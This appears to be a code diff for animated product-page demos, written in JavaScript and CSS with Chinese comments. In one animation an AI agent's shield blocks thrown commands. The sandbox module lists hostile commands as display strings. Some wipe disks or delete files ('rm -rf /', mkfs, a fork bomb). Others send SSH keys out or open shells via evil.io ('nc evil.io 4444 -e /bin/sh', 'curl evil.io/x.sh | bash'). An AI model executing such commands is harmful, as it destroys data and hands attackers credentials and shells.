flight.appendChild(name);
flight.appendChild(stat);
flight._shapeEl = shape; flight._nameEl = name; flight._statEl = stat; /* genie 帧渲染复用,免每帧 querySelector */
stage.appendChild(flight);
getComputedStyle(flight).opacity; /* getBoundingClientRect 只算几何不重算样式getComputedStyle 才强制样式计算,定格 opacity 0 */
flight.classList.add('is-on');
await step(800, myGen); /* 等封面渐变动画完全结束730ms + 余量) */
diffView.style.visibility = 'hidden'; /* 封面完全出现后,背后的 diff 瞬间消失 */
return flight;
}
/* diff no-fade is-shown
红绿底色会以 0.3s 淡出形式闪一下有底色无文字禁用后瞬时消失无残影 */
function resetDiffForRound(r) {
setDiffTexts(r);
diffView.classList.add('no-fade');
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
diffView.classList.remove('is-sheet');
buildDlineChars();
diffView.style.visibility = '';
diffView.style.opacity = ''; /* 恢复渐隐前的可见no-fade 下瞬间生效,无闪) */
void diffView.offsetWidth; /* 强制样式计算:无过渡状态定格后再恢复过渡 */
diffView.classList.remove('no-fade');
}
/* 纸上复现新一轮 4 行内容(长短不一):旧行淡出 → 换行宽 → 淡入 */
async function refillPaper(r, myGen) {
paper.classList.add('is-refilling');
await step(300, myGen);
lines.forEach(function (l, i) {
l.classList.remove('is-new');
l.dataset.w = ROUNDS[r].paperW[i];
});
applyWidths();
paper.classList.remove('is-refilling');
await step(400, myGen);
}
/*
hover 微微向上抬+向右倾选中感点击倒放 genie 倒出卡片内容渐变为该轮 diff
再点或点空白正放收回可反复查看热区是独立 divSVG 卡片本体
pointer-events none且三层卡只露出顶边一截热区按各卡露出顶边条带定位
重叠区归层级更高的更靠前的卡与视觉所见一致 */
var flights = [];
var hotspots = [];
var replayDiffEl = null;
var browse = { active: false, opened: -1, busy: false };
/* 214 +
最前卡的可见区本就一直延伸到这里三张卡热区互相重叠的部分由 z-index 自然归更靠前的卡与视觉一致 */
var CARD_HOT_BOTTOM = 220;
function enableBrowse() {
browse.active = true;
flights.forEach(function (flight, r) {
if (!flight || !flight._lastBox) return;
var lb = flight._lastBox;
var hot = el('div', 'card-hotspot');
var topPx = +flight.dataset.py + lb.y;
hot.style.left = (+flight.dataset.px + lb.x) + 'px';
hot.style.top = topPx + 'px';
hot.style.width = lb.w + 'px';
hot.style.height = (CARD_HOT_BOTTOM - topPx) + 'px';
hot.style.zIndex = String(31 + r);
hot.addEventListener('mouseenter', function () {
if (browse.busy || browse.opened === r) return;
flight.classList.add('is-hover');
});
hot.addEventListener('mouseleave', function () {
flight.classList.remove('is-hover');
});
hot.addEventListener('click', function (ev) {
ev.stopPropagation();
pauseAutoplay(); /* 按下卡片:暂停轮播 5 秒,点哪张看哪张 */
onCardClick(r);
});
stage.appendChild(hot);
hotspots.push(hot);
});
/* 收盒完成,停 2 秒让观众看清堆叠结果,再自动开始轮播 */
var g = gen;
rafWait(2000).then(function () { if (browse.active && g === gen) startAutoplay(); });
}
function disableBrowse() {
stopAutoplay();
browse.active = false;
browse.opened = -1;
browse.busy = false;
pendingCardClick = -1;
hotspots.forEach(function (h) { h.parentNode && h.parentNode.removeChild(h); });
hotspots = [];
flights = [];
removeReplayDiff();
}
async function onCardClick(r) {
/* 点已展开的卡:无操作(轮播中先停轮播,走到这保持展开) */
if (browse.opened === r && !autoplay.on) return;
/* 切换动画进行中点击:记录意图,当前动画完成后执行(不被 busy 吞掉) */
if (browse.busy) { pendingCardClick = r; return; }
browse.busy = true;
pendingCardClick = -1;
try {
/*
opened 先占位新卡两路动画各自驱动各自的 flight互不干扰 */
var prev = browse.opened;
browse.opened = r;
var tasks = [openCardInner(r)];
if (prev >= 0) tasks.push(closeCardInner(prev));
await Promise.all(tasks);
} catch (e) {
if (e && e.message !== 'cancelled') throw e;
}
browse.busy = false;
if (pendingCardClick >= 0) {
var p = pendingCardClick;
pendingCardClick = -1;
onCardClick(p);
}
}
/* 倒出卡片:倒放 genie最后 350ms 封面文字淡出、该轮 diff 逐行淡入(并行收尾) */
async function openCardInner(r) {
var myGen = gen;
var flight = flights[r];
browse.opened = r;
flight.classList.remove('is-hover');
if (hotspots[r]) hotspots[r].style.display = 'none';
var pouring = genieRun(myGen, flight, -1);
await step(GENIE_TOTAL - 350, myGen);
flight.classList.add('is-bare');
showReplayDiff(r);
await pouring;
}
/* rdiff + genie
只负责收回本身不碰 browse.opened由调用方管理支持收回/倒出并行 */
async function closeCardInner(r) {
var myGen = gen;
var flight = flights[r];
if (replayDiffEl) {
var d = replayDiffEl;
replayDiffEl = null;
d.classList.add('is-closing');
setTimeout(function () { d.parentNode && d.parentNode.removeChild(d); }, 260);
}
flight.classList.remove('is-bare');
await step(160, myGen);
await genieRun(myGen, flight, 1);
if (hotspots[r]) hotspots[r].style.display = '';
}
/* 展开后的 diff 层:位置同 diffView卡片倒出落点四行逐行淡入点击它即收回 */
function showReplayDiff(r) {
removeReplayDiff();
var e = ROUNDS[r].edits;
var rows = [
{ t: e[0].del, c: 'is-del', s: '-' },
{ t: e[0].add, c: 'is-add', s: '+' },
{ t: e[1].del, c: 'is-del', s: '-' },
{ t: e[1].add, c: 'is-add', s: '+' }
];
var d = el('div', 'replay-diff');
rows.forEach(function (row, i) {
var line = el('div', 'dline is-shown ' + row.c);
line.style.transitionDelay = (i * 70) + 'ms';
var sign = el('span', 'dsign'); sign.textContent = row.s;
var text = el('span', 'dtext'); text.textContent = row.t;
line.appendChild(sign);
line.appendChild(text);
d.appendChild(line);
});
d.addEventListener('click', function (ev) {
ev.stopPropagation();
closeOpenedCard();
});
stage.appendChild(d);
getComputedStyle(d).opacity; /* 强制样式计算:起始 opacity 0 定格后再开过渡 */
d.classList.add('is-on');
replayDiffEl = d;
}
function removeReplayDiff() {
if (replayDiffEl) { replayDiffEl.parentNode && replayDiffEl.parentNode.removeChild(replayDiffEl); replayDiffEl = null; }
}
function closeOpenedCard() {
pauseAutoplay(); /* 用户手动收回卡片:同样暂停轮播 5 秒 */
if (browse.busy || browse.opened < 0) return;
browse.busy = true;
var r = browse.opened;
browse.opened = -1;
closeCardInner(r).then(function () { browse.busy = false; }, function (err) {
browse.busy = false;
if (err && err.message !== 'cancelled') throw err;
});
}
/* /
用户按下卡片或手动收回暂停 5 之后自动恢复 */
var AUTOPLAY_DWELL = 4000; /* 每次切换间隔(倒出 833ms + diff 淡入 + 阅读停留) */
var AUTOPLAY_PAUSE_MS = 5000; /* 用户操作后暂停轮播的时长 */
var autoplay = { on: false, timer: null, resumeTimer: null, idx: -1 };
var pendingCardClick = -1;
function startAutoplay() {
if (!browse.active || autoplay.on) return;
autoplay.on = true;
autoplay.idx = browse.opened; /* 从当前展开卡的下一张开始;无展开则从第 1 张开始 */
autoplayTick();
}
/* /
timer 是标识对象而非 setTimeout id轮播间隔由 rafWait 驱动回调比对引用失效即放弃 */
function stopAutoplay() {
autoplay.on = false;
autoplay.timer = null;
if (autoplay.resumeTimer) { clearTimeout(autoplay.resumeTimer); autoplay.resumeTimer = null; }
}
/* 暂停 5 秒用户操作时期间轮播不动作5 秒后自动恢复 */
function pauseAutoplay() {
autoplay.on = false;
autoplay.timer = null;
if (autoplay.resumeTimer) clearTimeout(autoplay.resumeTimer);
autoplay.resumeTimer = setTimeout(function () {
autoplay.resumeTimer = null;
if (browse.active) startAutoplay();
}, AUTOPLAY_PAUSE_MS);
}
function autoplayTick() {
if (!autoplay.on) return;
autoplay.idx = (autoplay.idx + 1) % flights.length;
onCardClick(autoplay.idx);
var t = autoplay.timer = {};
rafWait(AUTOPLAY_DWELL).then(function () {
if (autoplay.on && autoplay.timer === t) autoplayTick();
});
}
async function play() {
var myGen = ++gen;
try {
for (var r = 0; r < ROUNDS.length; r++) {
// 0) 首轮等待开场(后续轮的纸面换新已并入上一轮收盒期间并行完成,无需等待)
if (r === 0) {
await step(650, myGen);
}
// 1) 笔飞到纸上,先后改写第 2、3 行;擦旧行时红行 - 飘出,写新行时绿行 + 飘出diff 实时构建)
await rewriteLine(lines[1], ROUNDS[r].edits[0].newW, dlines[0], dlines[1], myGen);
await rewriteLine(lines[2], ROUNDS[r].edits[1].newW, dlines[2], dlines[3], myGen);
// 2) 笔飞回智能体右侧(不再空等:飞行 500ms 与封面渐现 520ms 并行重叠)
penPos.classList.remove('is-live');
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
// 3) 收件箱始终显示(页面加载即在,无淡入步骤)
// 4) 文件卡片渐变出现diff 内容直接消失)→ genie 裁切收进盒子(先收最里,再依次向前)
var flight = await showFileCover(r, myGen);
flights[r] = flight;
if (r < ROUNDS.length - 1) {
// 5) 收盒与下一轮内容浮现同时进行diff 区在封面下瞬时重建(不可见),
// 纸面淡出旧行、淡入新行——卡片插进盒子时,下一轮的内容已就位
resetDiffForRound(r + 1);
var collecting = genieIntoBox(myGen, r, flight);
await refillPaper(r + 1, myGen);
await collecting;
} else {
await genieIntoBox(myGen, r, flight);
// 6) 末轮三张卡全部收盒后进入可查看交互hover 微倾/点击倒出)
enableBrowse();
}
}
} catch (e) {
if (e && e.message !== 'cancelled') throw e;
}
}
/* stage 空白点击只承担「收回展开卡」(轮播由 pauseAutoplay 暂停) */
stage.addEventListener('click', function () {
if (browse.active && browse.opened >= 0) closeOpenedCard();
});
updateScale();
applyWidths();
penPos.classList.add('is-live'); /* 初始就位瞬移 */
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
void penPos.offsetWidth; /* 强制样式计算后再恢复过渡 */
penPos.classList.remove('is-live');
/* 进入视口才开始播放:页面打开时用户可能还没滚到功能区,避免错过开场 */
var started = false;
var io = new IntersectionObserver(function (entries) {
if (!started && entries[0].isIntersecting) {
started = true;
io.disconnect();
play();
}
}, { threshold: 0.3 });
io.observe(container);
}
return { init: init };
})();

View File

@ -11,31 +11,6 @@
flex-direction: column;
}
.anim2-tabs {
display: flex;
gap: 2px;
padding: 0 2px 6px;
flex: none;
}
.anim2-tab {
height: 26px;
padding: 0 13px;
border: 0;
border-radius: 6px;
background: transparent;
color: var(--text-3);
font-size: 12.5px;
font-family: inherit;
cursor: pointer;
transition: background-color 0.25s ease, color 0.25s ease;
}
.anim2-tab:hover { color: var(--text-2); }
.anim2-tab.is-active {
background: rgba(169, 194, 240, 0.14);
color: var(--accent-strong);
}
/* ───────── 场景区 ───────── */
.anim2-stage {
@ -44,18 +19,18 @@
overflow: hidden;
}
/* 防御者:右侧,六边形 + 盾牌 */
/* 防御者:右侧,六边形 + 盾牌(尺寸与 04 版本控制的智能体一致70×70 */
.defender {
position: absolute;
right: 36px;
bottom: 26px;
width: 96px;
height: 96px;
width: 70px;
height: 70px;
}
.defender-avatar {
display: block;
width: 96px;
height: 96px;
width: 70px;
height: 70px;
color: var(--text-1);
}
.defender-avatar .astrion-avatar { width: 100%; height: 100%; }
@ -63,10 +38,10 @@
/* 盾牌举向左上方:顺时针倾斜(尖底朝左下),与六边形左上部分重叠遮挡,实色填充不透底 */
.defender-shield {
position: absolute;
left: -26px;
top: -12px;
width: 70px;
height: 70px;
left: -19px; /* 与角色同比例96→70×0.729)等比缩小 */
top: -9px;
width: 51px;
height: 51px;
color: var(--accent);
fill: var(--bg-1);
transform: rotate(24deg);
@ -118,8 +93,8 @@
.impact-ring {
position: absolute;
width: 56px;
height: 56px;
width: 41px; /* 随盾牌等比56×0.729 */
height: 41px;
border: 2px solid var(--accent-strong);
border-radius: 50%;
opacity: 0;
@ -134,22 +109,3 @@
100% { opacity: 0; transform: translate(-50%, -50%) scale(1.35); }
}
/* ───────── 底部说明行 ───────── */
.anim2-caption {
flex: none;
min-height: 46px;
padding: 6px 2px 0;
font-family: var(--font-sans);
}
.caption-note {
font-size: 12.5px;
color: var(--ok);
margin-top: 2px;
animation: caption-in 0.3s ease both;
}
@keyframes caption-in {
from { opacity: 0; transform: translateY(5px); }
to { opacity: 1; transform: translateY(0); }
}

View File

@ -1,11 +1,7 @@
/*
* 恶意命令从左侧抛物线射向持盾的智能体撞击盾牌后字符炸开飞散
* 底部出现拦截说明两个情节沙箱/网络手动切换
*/
/* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用
* AnimSandbox.init(container)在容器内建 DOM情节 tab + 场景 + 说明行
* 点击 tab 切换情节并从头播放再次点击重播
* AnimSandbox.init(container)在容器内建 DOM 并自动无限循环播放
* 每轮随机 20 条恶意命令15 + 5 弹道参数全随机角度/速度/弧度各异
* 抛向持盾智能体撞击后字符炸开飞散无按钮无说明行
*/
window.AnimSandbox = (function () {
'use strict';
@ -13,10 +9,6 @@ window.AnimSandbox = (function () {
function init(container) {
container.innerHTML =
'<div class="anim2-window">' +
'<div class="anim2-tabs">' +
'<button class="anim2-tab" data-mode="sandbox">沙箱拦截</button>' +
'<button class="anim2-tab" data-mode="network">网络拦截</button>' +
'</div>' +
'<div class="anim2-stage">' +
'<div class="defender">' +
'<span class="defender-avatar"></span>' +
@ -26,15 +18,12 @@ window.AnimSandbox = (function () {
'</div>' +
'<div class="impact-ring" aria-hidden="true"></div>' +
'</div>' +
'<div class="anim2-caption"></div>' +
'</div>';
var stage = container.querySelector('.anim2-stage');
var defender = container.querySelector('.defender');
var shield = container.querySelector('.defender-shield');
var ring = container.querySelector('.impact-ring');
var caption = container.querySelector('.anim2-caption');
var tabs = Array.prototype.slice.call(container.querySelectorAll('.anim2-tab'));
// 挂载六边形眼睛(眨眼 + 追踪)
if (window.AstrionAvatar) {
@ -43,12 +32,23 @@ window.AnimSandbox = (function () {
var gen = 0;
function sleep(ms) {
return new Promise(function (r) { setTimeout(r, ms); });
/* rAF rAF
setTimeout 在后台只是降频不会停会攒动画导致恢复瞬间全部放完 */
function rafWait(ms) {
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
last = now;
if (acc >= ms) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
async function step(ms, myGen) {
await sleep(ms);
await rafWait(ms);
if (myGen !== gen) throw new Error('cancelled');
}
@ -185,45 +185,76 @@ window.AnimSandbox = (function () {
shatter(block, hitX, hitY, hit.ang, w, h, offsets);
}
/* ── 两个情节 ── */
/* ── 无限循环:每轮随机 20 条15 短 + 5 长),随机弹道射向盾牌 ── */
// 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台
function swallowCancel(e) {
if (e && e.message !== 'cancelled') throw e;
}
async function playSandbox(myGen) {
// 三条命令方向/速度/弧度各异基准中弧线、Windows 快平直弹、慢速高抛
var cmds = [
{ cmd: 'rm -rf /', startY: 118, vx: 250, g: 620, aim: 0 },
{ cmd: 'del /f /s /q C:\\', startY: 84, vx: 420, g: 760, aim: -6 },
{ cmd: 'mkfs /dev/sda1', startY: 152, vx: 200, g: 430, aim: 10 }
];
var jobs = [];
for (var i = 0; i < cmds.length; i++) {
jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel));
await step(780, myGen); // 错落间隔:前一个刚出手,下一个开始蓄力
/* 短命令池(长度对齐原沙箱情节的 rm -rf / · del /f /s /q C:\ · mkfs /dev/sda1 */
var SHORT_CMDS = [
'rm -rf /',
'del /f /s /q C:\\',
'mkfs /dev/sda1',
'sudo rm -rf ~',
'format C:\\',
'chmod -R 777 /',
'wipefs -a /dev/sdb',
':(){:|:&};:',
'rm -rf /home',
'rd /s /q C:\\',
'dd of=/dev/sda',
'rm -rf /usr',
'fdisk /dev/sda',
'shutdown -h now',
'mkfs.ext4 /dev/sdb'
];
/* 长命令池(长度对齐原网络情节的 curl/scp 外传命令) */
var LONG_CMDS = [
'curl -T 数据.zip evil.io',
'scp ~/.ssh/id_rsa evil.io',
'curl -T C:\\pw.xlsx evil.io',
'nc evil.io 4444 -e /bin/sh',
'curl evil.io/x.sh | bash',
'wget evil.io/m -O- | sh',
'tar czf - ~ | nc evil.io 4444'
];
function rand(a, b) { return a + Math.random() * (b - a); }
function shuffled(arr) {
var a = arr.slice();
for (var i = a.length - 1; i > 0; i--) {
var j = Math.floor(Math.random() * (i + 1));
var t = a[i]; a[i] = a[j]; a[j] = t;
}
await Promise.all(jobs);
await step(320, myGen);
showCaption('你的文件没有被改动');
return a;
}
async function playNetwork(myGen) {
// 三条命令方向/速度/弧度各异Unix 与 Windows 路径都有
var cmds = [
{ cmd: 'curl -T 数据.zip evil.io', startY: 92, vx: 320, g: 700, aim: -6 },
{ cmd: 'scp ~/.ssh/id_rsa evil.io', startY: 122, vx: 240, g: 560, aim: 2 },
{ cmd: 'curl -T C:\\pw.xlsx evil.io', startY: 152, vx: 190, g: 460, aim: 10 }
];
var jobs = [];
for (var i = 0; i < cmds.length; i++) {
jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel));
await step(880, myGen);
/* 20 15 + 5
弹道参数全随机起点高度/水平初速/重力/瞄点微调 每条弧线角度都不同 */
function pickCommands() {
var picks = shuffled(SHORT_CMDS).slice(0, 15).concat(shuffled(LONG_CMDS).slice(0, 5));
return shuffled(picks).map(function (cmd) {
return {
cmd: cmd,
startY: rand(70, 230),
vx: rand(190, 430),
g: rand(430, 780),
aim: rand(-9, 12) /* 随盾牌等比(原 -12~16 × 0.729 */
};
});
}
async function loopForever(myGen) {
while (myGen === gen) {
var cmds = pickCommands();
for (var i = 0; i < cmds.length; i++) {
fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel);
await step(rand(560, 860), myGen); /* 错落节奏:前一个刚出手,下一个开始蓄力 */
}
await step(600, myGen); /* 轮间稍停 */
}
await Promise.all(jobs);
await step(320, myGen);
showCaption('数据没有离开这台机器');
}
/* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */
@ -325,41 +356,19 @@ window.AnimSandbox = (function () {
defender.classList.add('is-hit');
}
function showCaption(noteText) {
caption.appendChild(el('div', 'caption-note', noteText));
}
/* ── 调度 ── */
var PLAYERS = { sandbox: playSandbox, network: playNetwork };
function setActiveTab(mode) {
tabs.forEach(function (t) {
t.classList.toggle('is-active', t.dataset.mode === mode);
});
}
function play(mode) {
gen += 1;
var myGen = gen;
// 清场:飞行块、碎片、说明、冲击环
Array.prototype.slice.call(stage.querySelectorAll('.cmd-projectile, .cmd-shard')).forEach(function (n) {
n.parentNode.removeChild(n);
});
caption.innerHTML = '';
ring.classList.remove('is-active');
defender.classList.remove('is-hit');
setActiveTab(mode);
PLAYERS[mode](myGen).catch(function (e) {
if (e && e.message !== 'cancelled') throw e;
});
}
tabs.forEach(function (t) {
t.addEventListener('click', function () { play(t.dataset.mode); });
});
play('sandbox');
/*
gen 固定不再递增无重播入口粒子/飞行各自的生命周期自清理 */
var started = false;
var io = new IntersectionObserver(function (entries) {
if (!started && entries[0].isIntersecting) {
started = true;
io.disconnect();
loopForever(gen).catch(function (e) {
if (e && e.message !== 'cancelled') throw e;
});
}
}, { threshold: 0.3 });
io.observe(container);
}
return { init: init };

View File

@ -0,0 +1,269 @@
/* 版本控制动画 模块样式主页 feature / anim4-demo 页共用
无边框无底色融于星空 glowtoken--text-1 由宿主页面提供
类名一律 anim4- 前缀避免与 01~03 模块冲突 */
.anim4-window {
position: relative;
width: 100%;
height: 100%;
overflow: hidden;
}
/* 舞台:固定 540×380 逻辑尺寸JS 按容器等比缩放居中transform: translate+scale */
.anim4-stage {
position: absolute;
left: 50%;
top: 50%;
width: 540px;
height: 380px;
overflow: hidden;
user-select: none;
-webkit-user-select: none;
}
/* ───────── 用户指令气泡(右上角堆叠) ───────── */
/* 新气泡从下面浮现旧的上移跑出可视区不销毁倒带时随堆叠回落
容器高度 = 2.5 个气泡 + 间距顶部渐隐遮罩 = 边缘虚化
进出场全由 JS tween 驱动 margin/transformrAF 可见时间不用 CSS transition tween height */
.anim4-bubbles {
position: absolute;
right: 8px;
top: 2px;
width: 248px;
height: 84px;
display: flex;
flex-direction: column;
justify-content: flex-end;
overflow: hidden;
z-index: 30;
-webkit-mask-image: linear-gradient(to bottom, transparent 0, #000 26px);
mask-image: linear-gradient(to bottom, transparent 0, #000 26px);
pointer-events: none;
}
/* 单条气泡:风格同 01 的用户气泡accent 底深字、右下小尾巴),不变色 */
.anim4-bubble {
flex: none;
align-self: flex-end;
max-width: 236px; /* 兜底最长指令「我让你整理工作区不是让你全删了」17 字单行放下 */
margin-top: 6px;
padding: 6px 11px;
background: var(--accent);
color: var(--bg-0);
font-size: 12px;
line-height: 1.35;
border-radius: 10px 10px 3px 10px;
}
/* 湮灭碎片:回卷时被时间抹掉的指令字符(逐字 spanJS 物理驱动) */
.anim4-shard {
position: absolute;
left: 0;
top: 0;
color: var(--accent);
font-size: 12px;
line-height: 1.35;
white-space: nowrap;
z-index: 40;
pointer-events: none;
will-change: transform, opacity;
}
/* ───────── 纸3D 斜铺的工作台) / 终端 ───────── */
.anim4-paper {
position: absolute;
left: 268px;
top: 190px;
width: 192px;
height: 122px;
transform: perspective(760px) rotateX(42deg) rotateZ(-7deg); /* 尺寸/倾斜与 03 一致;位置比 03 低 60px避让右上气泡区 */
z-index: 15;
will-change: transform;
}
.anim4-paper-sheet {
width: 100%;
height: 100%;
background: var(--bg-panel);
border: 1px solid var(--line);
border-radius: 6px;
padding: 18px 16px;
display: flex;
flex-direction: column;
gap: 14px; /* 与 03 纸页行距一致 */
transition: background 0.3s ease;
}
.anim4-paper.is-term .anim4-paper-sheet { background: var(--bg-1); }
/* 内容行(行宽由 JS 逐帧驱动,不用 transition */
.anim4-pl {
position: relative;
width: 0; /* 初始是空纸:宽度由 JS 逐帧写入;不写死 100% 会默认撑满 */
height: 4px;
border-radius: 2px;
background: var(--text-3);
opacity: 0.75;
transition: opacity 0.25s ease;
}
.anim4-paper.is-term .anim4-pl { opacity: 0; }
.anim4-pl-end {
position: absolute;
right: 0;
top: 50%;
width: 0;
height: 0;
}
/* 终端层叠在纸面上morph 时淡入 */
.anim4-term {
position: absolute;
inset: 0;
padding: 16px 16px;
font-family: var(--font-mono);
font-size: 12px;
line-height: 1.75;
color: var(--text-2);
opacity: 0;
overflow: hidden; /* 抢救段行多上滚时,裁掉滚出纸面的行 */
transition: opacity 0.3s ease;
}
/* 内容上滚动画在 body 内层做term 自身 transform 会连同裁剪区一起跑 */
.anim4-term-body { transition: transform 0.25s ease; }
.anim4-paper.is-term .anim4-term { opacity: 1; }
.anim4-term-line {
display: flex;
align-items: baseline;
white-space: nowrap;
}
.anim4-term-p { color: var(--accent); margin-right: 6px; }
.anim4-term-c { color: var(--text-1); }
.anim4-term-out {
color: var(--text-3);
visibility: hidden;
}
.anim4-term-out.is-on { visibility: visible; }
.anim4-term-new {
visibility: hidden;
}
.anim4-term-new.is-on { visibility: visible; }
.anim4-term-caret {
display: inline-block;
width: 7px;
height: 13px;
margin-left: 1px;
vertical-align: -2px;
background: var(--accent);
animation: anim4-caret 0.85s steps(1) infinite;
}
@keyframes anim4-caret { 50% { opacity: 0; } }
/* ───────── 智能体(全部动作由 JS 逐帧驱动,无 CSS 过渡,防 fill 冲突) ───────── */
.anim4-agent {
position: absolute;
left: 0;
top: 0;
width: 70px;
height: 70px;
z-index: 35;
will-change: transform;
pointer-events: none;
}
.anim4-agent-avatar {
display: block;
width: 70px;
height: 70px;
color: var(--text-1);
}
.anim4-agent-avatar .astrion-avatar { width: 100%; height: 100%; }
/* 本动画里智能体在纸/终端/亭前活动:六边形填底色遮住后方元素(组件默认 fill:none 是状态栏规格,此处局部覆盖) */
.anim4-agent-avatar .aa-frame { fill: var(--bg-0); }
/* ───────── 笔(结构同 03外层定位 + 内层绕笔尖摇摆) ───────── */
.anim4-pen-pos {
position: absolute;
left: 0;
top: 0;
z-index: 40;
width: 40px;
height: 40px;
color: var(--accent);
will-change: transform;
transition: transform 0.45s cubic-bezier(.4, 0, .2, 1); /* 普通飞行用过渡 */
}
.anim4-pen-pos.is-live { transition: none; } /* 逐帧驱动时关闭过渡 */
.anim4-pen {
width: 40px;
height: 40px;
transform-origin: 11% 87.6%; /* 笔尖触点(同 03 */
}
/* 写字摇晃由 JS 逐帧驱动(振幅包络起止收敛到 0°见 writeLine不用 CSS 动画 */
/* 甩飞:绕中心翻滚 */
.anim4-pen.is-free { transform-origin: 50% 50%; animation: none; }
/* 捡笔回正:过渡平滑转正,期间 origin 保持中心(结束移除后 rotate=0 不受 origin 影响) */
.anim4-pen.is-returning { transition: transform 0.38s ease; transform-origin: 50% 50%; animation: none; }
.anim4-pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; }
/* 时光机整机 2D 矢量化所有面 JS 手算透视投影屏幕空间 SVG 绘制
wrapper 承担 2D 整体运动下落/浮空/微倾面的投影由 drawBooth() 每帧按偏航 24°+sway 计算
三层后层 svg z1左外墙 + clip 到门洞的内景< 智能体 z2 < 前层 svg z3关门即挡住他
96×96×142 正方形柱正面左右梃各 18 + 门洞 60双开门屋顶四棱锥底 108×108 28
智能体进出不做消失动画走进深处被左梃自然遮挡 */
.anim4-booth {
position: absolute;
left: 0;
top: 0;
width: 150px;
height: 220px;
z-index: 20;
opacity: 0;
will-change: transform;
pointer-events: none;
}
/* 智能体挂载层与门洞投影对齐的透明层投影公式标定夹在前后两层 svg 之间
无背景无裁剪室内由内景多边形提供超出门口的部分被前层双梃/门板自然遮住 */
.anim4-booth-inner {
position: absolute;
z-index: 2;
pointer-events: none;
}
/* 矢量化覆盖层屏幕空间绘制原生 AA 永远锐利根治 3D 纹理重采样锯齿
填色/描边语言延续线稿bg-1 + text-1 内景 bg-0地板 bg-panel */
.anim4-booth-wire {
position: absolute;
inset: 0;
overflow: visible;
pointer-events: none;
}
.anim4-booth-wire-back { z-index: 1; }
#boothWireFront { z-index: 3; }
.anim4-booth-wire polygon {
fill: var(--bg-1);
stroke: var(--text-1);
stroke-width: 1.6;
stroke-linejoin: round;
}
#bwInBack, #bwInSideR, #bwInCeil { fill: var(--bg-0); }
#bwInFloor { fill: var(--bg-panel); }
.bw-door-stripe { stroke: var(--text-1); stroke-width: 1.6; }
.bw-door-knob { fill: var(--text-1); stroke: none; }
#bwRod { stroke: var(--text-1); stroke-width: 2; stroke-linecap: round; }
#bwKnob { fill: var(--bg-1); stroke: var(--text-1); stroke-width: 1.6; }
/* ───────── 地面接触阴影(中性灰,非发光) ───────── */
.anim4-shadow {
position: absolute;
height: 10px;
border-radius: 50%;
background: rgba(0, 0, 0, 0.35);
z-index: 5;
pointer-events: none;
}
.anim4-shadow-booth { width: 116px; opacity: 0; }
.anim4-shadow-agent { width: 56px; opacity: 0; }

File diff suppressed because it is too large Load Diff

View File

@ -1,5 +1,4 @@
/* 修改记录动画 智能体持笔在 3D 倾斜纸上改写内容
纸摊平后绿行抽出展开为红绿 diff无边框无底色融于星空 glow */
/* 修改记录动画 demo 页壳 —— 布局与 token动画本体样式在 anim-records.css */
:root {
--bg-0: #0c1120;
@ -11,11 +10,7 @@
--line: rgba(168, 180, 210, 0.14);
--accent: #a9c2f0;
--accent-strong: #c1d4f6;
--danger: #d47b6b;
--ok: #7ba889;
/* 收盒文件:与编辑中的 3D 纸同款底色,边框用更亮的白边(叠放分层清晰) */
--file-paper: var(--bg-panel);
--file-line: rgba(238, 240, 246, 0.35);
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
@ -36,247 +31,5 @@ body {
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
.hint { font-size: 13px; color: var(--text-3); }
/* ───────── 动画容器 ───────── */
.anim3-window {
width: 540px;
height: 380px;
}
.anim3-stage {
position: relative;
width: 100%;
height: 100%;
overflow: hidden;
cursor: pointer;
user-select: none; /* 演示区禁止选中文本,避免鼠标划过时出现系统选中高亮(黑光) */
-webkit-user-select: none;
}
/* ───────── 智能体(右上) ───────── */
.writer {
position: absolute;
right: 58px;
top: 26px;
width: 84px;
height: 84px;
}
.writer-avatar {
display: block;
width: 84px;
height: 84px;
color: var(--text-1);
}
.writer-avatar .astrion-avatar { width: 100%; height: 100%; }
/* 双层结构
外层 pen-posJS 逐帧/过渡定位使笔尖精确落在文字进度点上
内层 svg以笔尖为圆心旋转摇摆transform-origin 在笔尖
既有晃动笔尖又不会脱离位置 */
.pen-pos {
position: absolute;
left: 0;
top: 0;
z-index: 40; /* 最高层:高于 3D 纸、盒子30与堆叠纸21~23笔不能被挡 */
width: 40px;
height: 40px;
color: var(--accent);
will-change: transform;
transition: transform 0.45s cubic-bezier(.4,0,.2,1); /* 飞行/移动用过渡 */
}
.pen-pos.is-live {
transition: none; /* 写字逐帧驱动时关闭过渡 */
}
.writer-pen {
width: 40px;
height: 40px;
/* origin = 笔尖视觉触点SVG (2.65,21.02) 40px 盒内 (4.4,35.0) nibRef 同点
摇摆时笔尖钉住不动只有笔身晃 */
transform-origin: 11% 87.6%;
}
.writer-pen.is-writing {
animation: pen-write 0.42s ease-in-out infinite;
}
/* 擦除origin 切到笔尾橡皮触点SVG (19.2,4.8) → 盒内 (32,8)),与 eraserRef 同点 */
.writer-pen.is-erasing {
transform-origin: 80% 20%;
}
@keyframes pen-write {
0%, 100% { transform: rotate(-5deg); }
50% { transform: rotate(6deg); }
}
/* ───────── 3D 倾斜的纸 ───────── */
/* perspective 让纸呈平行四边形(不倾斜就只是一条线) */
.paper3d {
position: absolute;
left: 280px;
top: 130px;
width: 192px;
height: 122px;
transform: perspective(760px) rotateX(42deg) rotateZ(-7deg);
transform-style: preserve-3d;
}
.paper-sheet {
width: 100%;
height: 100%;
background: var(--bg-panel);
border: 1px solid var(--line);
border-radius: 6px;
padding: 18px 16px;
display: flex;
flex-direction: column;
gap: 14px;
}
